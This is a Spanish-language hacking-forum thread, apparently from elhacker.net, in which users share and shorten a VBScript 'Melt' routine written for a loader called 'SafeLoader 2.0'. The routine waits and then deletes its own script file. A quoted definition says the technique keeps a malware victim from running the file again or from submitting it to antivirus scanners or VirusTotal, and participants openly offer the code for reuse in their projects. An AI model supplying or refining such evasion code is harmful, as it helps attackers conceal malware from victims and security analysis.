Bueno, este Melt lo acabo de hacer para el SafeLoader 2.0, trata de no dejar ningun rastro del archivo, por eso todo se hace "On the Fly". >:D
sMelt(WScript.ScriptFullName)
Function sMelt(sFile)
On Error Resume Next
Dim sFunction
sFunction = "WScript.Sleep 3000: Set Melt = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & "): Melt.DeleteFile " & Chr(34) & sFile & Chr(34)
Execute(sFunction)
End Function
//Regards.
Me viene perfecto para mi proyecto. Lo puedo usar?
Eso ni se pregunta bro. ;D
//Regards.
Perdona mi ignorancia :P esto se supone que borra un archivo o como xD
Un saludo
Cita de: PedroDJavier en 18 Marzo 2014, 15:29 PM
Perdona mi ignorancia :P esto se supone que borra un archivo o como xD
Un saludo
[Source] How to Melt a file in VB6http://foro.elhacker.net/programacion_visual_basic/source_how_to_melt_a_file_in_vb6-t164724.0.html
Aquí lo explica todo, sería la función Melt para VB6:
CitarDefinición
Se llama "Melt" cuando un usuario ejecuta un archivo y este desaparece (se auto-elimina) después de ejecutarse, esta función es necesaria para evitar que nuestra víctima ejecute 2 veces nuestro malware o evitar que la victima lo envíe a un Antivirus o a virustotal después de ejecutarlo, su estructura es...
1) Ejecuto el archivo (A)
2) El archivo (A) se copia en otro lugar (B)
3) El archivo (A) ejecuta el archivo (B)
4) El archivo (B) borra el archivo (A)
5) El archivo (B) sigue ejecutando el resto de malware...
HOLA!!!
Por que no optimizamos el codigo un poco:
sMelt(WScript.ScriptFullName)
Function sMelt(sFile)
On Error Resume Next
Execute("WScript.Sleep 3000: Set Melt = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & "): Melt.DeleteFile " & Chr(34) & sFile & Chr(34))
End Function
GRACIAS POR LEER!!!
Cita de: 79137913 en 20 Marzo 2014, 17:28 PM
HOLA!!!
Por que no optimizamos el codigo un poco:
sMelt(WScript.ScriptFullName)
Function sMelt(sFile)
On Error Resume Next
Execute("WScript.Sleep 3000: Set Melt = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & "): Melt.DeleteFile " & Chr(34) & sFile & Chr(34))
End Function
GRACIAS POR LEER!!!
Me gusta declarar las cosas, y mas en una funcion.
//Regards.
HOLA!!!
Esta bien lo que planteas, pero planteate para que declaras sFunction, si se usa una sola vez, osea, perdes 2 lineas de codigo y reservas un espacio en memoria que no sera necesario nunca mas.
Esta bien que quieras declararla pero quiero que entiendas que no es practico, no mejora la lectura del codigo, no mejora la longitud del codigo y tampoco el rendimiento.
Es mas, no quise cambiarte la parte que dice sFile por que tampoco es necesaria, ya que siempre sera WScript.ScriptFullName... sino no seria Melt seria una funcion para eliminado con retraso desde otro script.
Por ende tu codigo si se quiere Funcionalizar (ser llamado de una funcion) si lo reducimos al maximo seria asi:
Voy a usar un sub para no entregar retorno (que tampoco entrega tu funcion).
sMelt()
Sub sMelt()
On Error Resume Next
Execute("WScript.Sleep 3000: Set Melt = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & "): Melt.DeleteFile " & Chr(34) & WScript.ScriptFullName & Chr(34))
End Sub
Se podria seguir reduciendo quitando las llamadas a Chr(34) ahi si convendria usar una variable para no llamar tantas veces a una funcion con el mismo parametro, aunque tambien podrias poner las comillas dentro del string sin usar ni un Chr usando "" supongo, no lo testee aun esto ultimo de la doble comilla doble.
GRACIAS POR LEER!!!